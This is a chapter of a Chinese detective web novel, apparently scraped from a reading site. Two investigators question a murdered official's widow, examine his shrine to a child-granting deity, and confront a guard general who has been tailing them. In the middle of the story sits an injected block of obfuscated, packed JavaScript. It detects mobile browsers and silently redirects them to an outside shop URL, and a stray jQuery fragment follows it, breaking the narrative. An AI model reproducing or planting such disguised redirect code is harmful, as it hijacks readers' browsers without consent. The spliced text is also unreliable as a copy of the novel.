37. 如影随形

作品:《女仵作之欢喜冤缘

    “你就那么讨厌薛焕?”闻蝉扭头看他,“难道是因为他和你表姐关系不好?”


    她现在是摸得准对方的性格了。


    小气,护短!


    “算好,也不算好。只是我不喜欢这种人罢了。”


    闻蝉扯了扯他的袖子,一脸认真。


    “我要听。”


    “好打听……”郑观澜嘴里这样说,还是如实讲道,“当年薛焕中意广平公主,一直想要迎娶公主为妻。即使公主早就和老丞相家的大郎定下婚约,且对他无意。表姐和他自小就有婚约,他若是不愿,大可早些解除婚约。他不管不顾,闹得沸沸扬扬,让表姐很是没脸。虽说婚后没有什么,可这人人品不端就是板上钉钉的事。”


    闻蝉听得脸都皱成了一团:“膈应人。这些京城传闻中的好夫妻怎么个个都名不副实啊。”


    郑观澜想到自己的大伯父和大伯母。


    “或许,人人都是如此。是为了名声凑合过日子。”


    ……


    冯家。


    这还是闻蝉第一次见到传说中的大才女——文敏。


    她有一双很聪明的眼睛。


    闻蝉见了她才算明白,什么叫做长了一张有学问的脸。


    只是太瘦了太憔悴了。


    那双手腕上紧紧贴着一层皮,干枯得像是树皮一样。


    明明也只是三十多的年纪。


    “本该主动去大理寺配合二位查案,但我这身子实在是不济,反倒劳动二位又跑一趟了。”


    闻蝉被她这样客气的态度弄得都不好意思了。


    “夫人客气了,这次来也只是有些小事想要问问。”


    “闻录事但问无妨。”文敏温柔一笑,“不必有所顾忌。”


    “之前您说冯郎君最近开始求神拜佛?”


    对这个问题,文敏讶异了一瞬才回答道:“是,大概半年前吧,夫君就开始信佛了,不仅在家里专门弄了个佛堂,还时常茹素。”她眼皮颤了颤,“也是怪我,一直没有孩子,夫君很是着急此事,就……病急乱投医。”


    原来是为了求子才拜佛的。


    可闻蝉还是觉得很不对劲。


    “闻录事。”文敏试探着问道,“夫君的死和此有关吗?”


    闻蝉摇摇头:“只是随口一问。夫人,冯郎君失踪前的具体情形如何你可还记得吗?”


    “记得的,那日用完晚饭,他说要出去转转,就一个人走了。我还劝他,说时辰都不早了,还出去什么,他不听,只说自己就在附近转,一会儿就回来。谁成想……”文敏说着说着,眼泪忍不住就掉了下来。


    “夫人节哀……”闻蝉不好再问。


    文敏按了按眼角。


    “是我一时激动了,闻录事继续问吧。”


    “您方才说那个佛堂,可否让我们去看看?”


    “自然可以。”文敏招手叫来管事带着二人去,自己则回屋休息。


    佛堂就在大厅右侧,几步的功夫就到了。


    管事一边开门一边絮叨:“阿郎花了不少心思在这佛堂上呢,光是佛像就请了好几尊……”


    门一打开,灰尘扑面,呛得人喉咙发痒。


    佛堂内没有点灯,屋外也已是快要黄昏,天光渐暗,让人看得不分明,只隐隐约约看得清几处金光闪烁。


    嚓!


    管事掏出火折子,点燃了烛台。


    里间一下亮堂了起来。


    走进去,正对着的就是抱着孩子的送子观音,右侧是笑盈盈的弥勒佛,左侧是手持明灯的定光佛。


    全是求子的!


    佛前的供桌已经空荡荡,只放着一个孤零零的香炉。


    这个气味……


    闻蝉鼻子动了动。


    “佛堂内焚香的气味有些特殊,带着一股药味?”


    管事说道:“是我们郎君从外面特意买的,说是能养身。”


    闻蝉在佛堂里兜了几圈,也没看出其他名堂。


    管事亦步亦趋。


    “闻录事……佛堂有什么不对吗?”


    “没有。”闻蝉走到门口,“今日叨扰了。”


    管事送二人出了门才折返,十分客气周到。


    到了无人处,郑观澜才问道:“那个香有问题吗?”


    “闻上去没有,就是普通的药香,只是我在想,你说其余几人求神拜佛会不会也是为了求子?”


    “很有可能。”


    “求神拜佛……铁钉……花纹……我觉得这是一条很值得深挖的线索。只是这几人看上去都没什么联系啊。”


    “也不是完全没有。”


    “啊?”


    “你方才在出神,没有注意到,文家对面就是潘铄他们家。”


    “什么?!”


    “还有……”郑观澜犹豫了一二才说道,“如果薛焕是被杀的人之一……那薛焕和冯鄂也有联系。我表姐和冯鄂的夫人文敏也是表姐妹。”


    闻蝉心里咚咚跳了两下,像是被敲击的木鱼一般。


    “这联系也不能说明太多。”郑观澜说道,“死的几个人非富即贵,有些姻亲也是常理。”


    经过百年的发展,世家大族早就通过联姻的方式形成了盘根错节的势力网。


    但凡和世家沾点亲的,细细算来,亲戚都不少。


    闻蝉站在原地一动不动,不知道在想什么。


    “你听到了吗?”郑观澜见她没反应开口道。


    闻蝉点了点头。


    “我们边走边说。”


    她拉住郑观澜朝着旁边的小巷拐进去。


    郑观澜一脸懵。


    “你走这条路做甚?”


    “这条路能绕回去,更近啊。”


    郑观澜不疑有他,老老实实跟着她走。


    路越走越窄,到最后竟然只刚刚够二人并排通过。


    边上还堆着废弃的烂木破瓦。


    他拂了拂袖子。


    “下次还是走大路吧,这里太脏了。”


    闻蝉猛地顿住脚步,转过身,一双眼睛直勾勾盯着他。


    “你……”郑观澜心头一跳,“你又要做甚?”


    闻蝉咧开嘴,露出白森森的牙。


    “孤男寡女的,你说我带你来这儿做什么?”


    她伸出双手。


    郑观澜被吓得连连后退,两边的杂物被他踢得呼啦啦地响。


    而始作俑者此时却将他一把推开,对着巷子口甩出一把飞刀。


    叮——


    飞刀被打落,巷口的墙后露出一截刀尖。


    “出来吧,还装呢。”闻蝉叉着腰,“顺道把我飞刀捡起来擦干净还给我。”


    郑观澜稳住身体,这才明白是有人跟踪他们。


    片刻后,一个高大的人影从巷子口走了出来。


    那人穿着一身熠熠生辉的明光铠,一看就是金吾卫的人。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870318|190345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “嗨哟,闻娘子还是这样的暴脾气。”他捡起飞刀,还真擦了擦递还给闻蝉。


    闻蝉一把接过。


    “霍其彰,你跟踪我们干嘛?”


    “诶!你怎么还直呼大名了!”霍其彰笑嘻嘻的,“这不是看你们俩查着这么危险的案子还往偏僻地方走不放心嘛!谁知道……”


    他眼神变得暧昧起来,在二人之间打着转。


    “看不出来啊,你们年轻人还真……令人佩服。”


    郑观澜脸乍然红透,闻蝉却环抱双臂,一错不错盯着他。


    “从冯家出来开始你就跟着我们了,唬谁呢?”


    霍其彰张了张嘴,哑口无言。


    “你是跟踪我们还是一直守着冯家?”


    “你怀疑我?”霍其彰像是很震惊的模样,向后退了一大步,“冯鄂和我是同僚,他出了事,又是这样大的案子,我作为金吾卫自然要加强巡逻。我跟踪你们也只是真怕你们出事。”


    闻蝉凝视了他片刻忽而轻笑一声。


    “霍将军不早说!方才把我吓得,还以为遇到了什么歹人。”


    郑观澜微微皱起眉,想要说什么却被她按住。


    “下次有什么你直接叫住我们就是了,非要跟做贼似的!”


    霍其彰哈哈一笑,拍了拍自己的脑袋。


    “我这木鱼脑子!你又不是不知道!”


    “不过,将军确实要注意了。我感觉这次的凶手非同一般。”


    霍其彰也严肃了起来。


    “我也听说了,那凶手确实是穷凶极恶,把人像牲口一样给碎尸了!处理得干干净净,这绝非普通人能够做得到!闻娘子……”他不由压低了声音,“你可有怀疑的人?”


    闻蝉苦着脸。


    “别提了,现在还没头绪了,上头还天天找我让我加紧破案。”


    霍其彰安慰道:“你的本事大,定然有法子的!邪不压正,我就不信他一个凶手还能逃的出法网恢恢?”


    “正巧,我还想问问您呢,您最近巡逻可有瞧见什么形迹鬼祟之人?”


    “在你们发现尸体前,我们就因为冯鄂失踪的事情排查过了。后来传出冯鄂被杀的消息,金吾卫的弟兄更是个个都闹着要给他报仇。可不管怎么查我们愣是找不到半点可疑之人。这个凶手真不知道是怎么抛的尸,那么大的尸块,怎么也该有点痕迹啊!”霍其彰长叹一口气,“就连那些乞丐我们都查了一遍,还是没有半分线索。可怜文夫人……


    ……


    “他在撒谎。”郑观澜看着霍其彰远去的背影说道。


    闻蝉没有半分意外之色。


    “我知道。”


    “他很有嫌疑。”


    闻蝉笑着看他:“哦?何出此言呢?”


    “抛尸。这些尸块并不小,而且还分散各处。凶手一定是一个到处行走还能够不招人眼的人。金吾卫就很有嫌疑。而且他还不是没有品级的小卒,是能够自由单独行动的将军。他完全有能力趁着夜间巡逻抛尸。”


    闻蝉拍了两下掌。


    “分析得没错。尸体被处理得十分干净,但是嘛,凶手的手法总是能留下蛛丝马迹,譬如你所说的抛尸。这个案子,重点还是落在了分尸和抛尸上。而且,他还是给我提了个醒。”


    “什么?”


    “如他所言,最大的尸块可没有那么好携带,凶手是怎么做到多次抛尸不被人发现任何踪迹的呢?”